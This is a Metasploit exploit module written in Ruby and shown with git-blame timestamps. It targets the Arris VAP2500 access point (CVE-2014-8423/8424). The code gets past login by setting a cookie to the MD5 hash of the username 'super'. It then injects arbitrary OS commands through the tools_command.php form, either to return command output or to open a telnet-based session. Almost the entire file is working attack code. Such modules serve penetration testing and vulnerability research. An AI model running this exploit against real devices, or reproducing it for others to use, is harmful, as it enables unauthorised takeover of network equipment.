2014-12-02 05:07:56 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Arris VAP2500 tools_command.php Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
Arris VAP2500 access points are vulnerable to OS command injection in the web management
|
|
|
|
portal via the tools_command.php page. Though authentication is required to access this
|
|
|
|
page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid
|
|
|
|
username.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'HeadlessZeke' # Vulnerability discovery and Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2014-8423'],
|
|
|
|
['CVE', '2014-8424'],
|
|
|
|
['OSVDB', '115045'],
|
|
|
|
['OSVDB', '115046'],
|
|
|
|
['BID', '71297'],
|
|
|
|
['BID', '71299'],
|
|
|
|
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 25 2014',
|
2015-01-22 02:37:38 +00:00
|
|
|
'Privileged' => true,
|
2014-12-02 05:07:56 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
2015-01-22 02:46:37 +00:00
|
|
|
'Space' => 1024,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
2015-01-22 02:52:04 +00:00
|
|
|
'RequiredCmd' => 'generic telnet'
|
2015-01-22 02:46:37 +00:00
|
|
|
}
|
2014-12-02 05:07:56 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => '/tools_command.php',
|
2015-01-22 02:37:38 +00:00
|
|
|
'cookie' => "p=#{Rex::Text.md5('super')}"
|
2014-12-02 05:07:56 +00:00
|
|
|
})
|
|
|
|
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Trying to access the device ...")
|
2014-12-02 05:07:56 +00:00
|
|
|
|
|
|
|
unless check == Exploit::CheckCode::Vulnerable
|
2015-01-22 02:38:33 +00:00
|
|
|
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
|
2014-12-02 05:07:56 +00:00
|
|
|
end
|
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Exploiting...")
|
2014-12-02 05:07:56 +00:00
|
|
|
|
2015-01-22 02:49:05 +00:00
|
|
|
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
2015-01-22 02:46:37 +00:00
|
|
|
exploit_cmd
|
|
|
|
else
|
|
|
|
exploit_session
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_cmd
|
2014-12-05 16:58:40 +00:00
|
|
|
beg_boundary = rand_text_alpha(8)
|
|
|
|
end_boundary = rand_text_alpha(8)
|
2014-12-02 05:07:56 +00:00
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
2015-01-22 02:46:37 +00:00
|
|
|
'uri' => normalize_uri('/', 'tools_command.php'),
|
2014-12-02 05:07:56 +00:00
|
|
|
'vars_post' => {
|
|
|
|
'cmb_header' => '',
|
2014-12-05 16:58:40 +00:00
|
|
|
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
|
2014-12-02 05:07:56 +00:00
|
|
|
},
|
|
|
|
'method' => 'POST',
|
2015-01-22 02:37:38 +00:00
|
|
|
'cookie' => "p=#{Rex::Text.md5('super')}"
|
2014-12-02 05:07:56 +00:00
|
|
|
})
|
2015-01-22 02:37:38 +00:00
|
|
|
|
2014-12-02 06:02:53 +00:00
|
|
|
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
|
2016-02-01 21:12:03 +00:00
|
|
|
print_good("Command sent successfully")
|
2014-12-05 16:58:40 +00:00
|
|
|
if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Command output: #{$1}")
|
2014-12-05 16:58:40 +00:00
|
|
|
end
|
2014-12-02 05:07:56 +00:00
|
|
|
else
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
|
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
|
|
|
end
|
|
|
|
end
|
2015-01-22 02:46:37 +00:00
|
|
|
|
|
|
|
def exploit_session
|
|
|
|
begin
|
|
|
|
send_request_cgi({
|
|
|
|
'uri' => normalize_uri('/', 'tools_command.php'),
|
|
|
|
'vars_post' => {
|
|
|
|
'cmb_header' => '',
|
|
|
|
'txt_command' => "#{payload.encoded}"
|
|
|
|
},
|
|
|
|
'method' => 'POST',
|
|
|
|
'cookie' => "p=#{Rex::Text.md5('super')}"
|
|
|
|
}, 3)
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
|
|
|
end
|
|
|
|
end
|
2014-12-02 05:07:56 +00:00
|
|
|
end
|